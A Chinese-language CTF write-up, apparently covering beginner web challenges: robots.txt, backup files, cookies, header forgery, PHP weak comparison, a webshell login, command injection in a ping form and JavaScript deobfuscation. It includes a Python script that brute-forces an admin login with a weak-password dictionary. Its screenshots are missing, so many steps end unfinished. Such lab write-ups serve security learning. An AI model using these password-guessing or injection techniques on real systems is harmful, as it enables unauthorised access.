按F12进入开发者选项，查看源码，得到flag：
在地址栏添加robots.txt：
得到flag：
关于robots.txt：
参考博客：https://www.cnblogs.com/yuzhongwusan/archive/2008/12/06/1348969.html
打开的网页上显示：
根据提示在地址栏添加：index.php.bak，出现下载提示：
打开现在的文档，得到flag：
F12打开开发者选项，网络->查看cookie：
在地址栏添加cookie.php：
查看响应：
发现flag：
按钮不能按：
F12进入开发者工具，删掉html代码中圈出的部分：
点击按钮，得到flag：
随意输入账号密码，得到提示：
得到了用户名，对密码进行爆破，这里有两种方式：
我选择编写Python脚本来练手：
import requests
url = ‘http://220.249.52.133:45116/check.php‘
data = {‘username‘:‘admin‘,
‘password‘:‘‘}
f = open(‘../dictionary/弱口令.txt‘) # 打开准备好的弱口令文件
for pwd in f.readlines():
print("Try " + pwd)
pwd = pwd.strip(‘\n‘) # 每次取一行数据并去掉末尾的‘\n‘
data[‘password‘] = pwd
r = requests.post(url, data)
res = r.text
start_loc = res.find(‘<body>‘) + 6 # 定位body中的信息
end_loc = res.find(‘</body>‘)
ret_str = res[start_loc:end_loc]
if ret_str != "\r\n\r\n<script>alert(‘password error‘);</script><!--maybe you need a dictionary-->\r\n\r\n\r\n":
print("Password is " + pwd) # 返回的信息与报错信息不一致则代表爆破成功
break
得到flag：
进入网站，得到提示：
考察PHP弱比较知识点，输入：
得到flag：
详解博客：https://www.cnblogs.com/qing123tian/p/10778615.html
使用get提交变量a=1
使用hackbar提交post请求：
提示：
使用xff插件修改ip：
得到提示：
使用hackbar修改referr：
得到flag：
给出提示：
使用中国蚁剑，登录webshell：
在flag.txt中得到flag：
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。
随意输入一个IP地址，可以得到返回：
使用&&拼接命令：
查看flag.txt文件：
使用burpsuite抓包，查看其中的js代码：
HTTP/1.1 200 OK
Date: Fri, 27 Nov 2020 00:55:58 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Vary: Accept-Encoding
Content-Length: 1225
Connection: close
Content-Type: text/html
<html>
<head>
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(‘,‘);
var tab2 = pass.split(‘,‘);var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = 1;
n = tab2.length;
for(i = (o=0; i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt(‘Enter password‘);
alert( dechiffre(h) );
</script>
</head>
</html>
经分析，这段代码中并没有跳转页面，那么flag应就在代码之中，编写脚本将其中的两个ascci字符解码：
def dec2str(decList):
result = ‘‘
for item in decList:
result += chr(item)
return result
if __name__ == "__main__":
decList = [70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65]
strL = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
strL = strL.split(‘,‘)
decList1 = []
for item in strL:
decList1.append(int(item))
print(dec2str(decList))
print(dec2str(decList1))
得到flag：
原文：https://www.cnblogs.com/jmhwsrr/p/14051515.html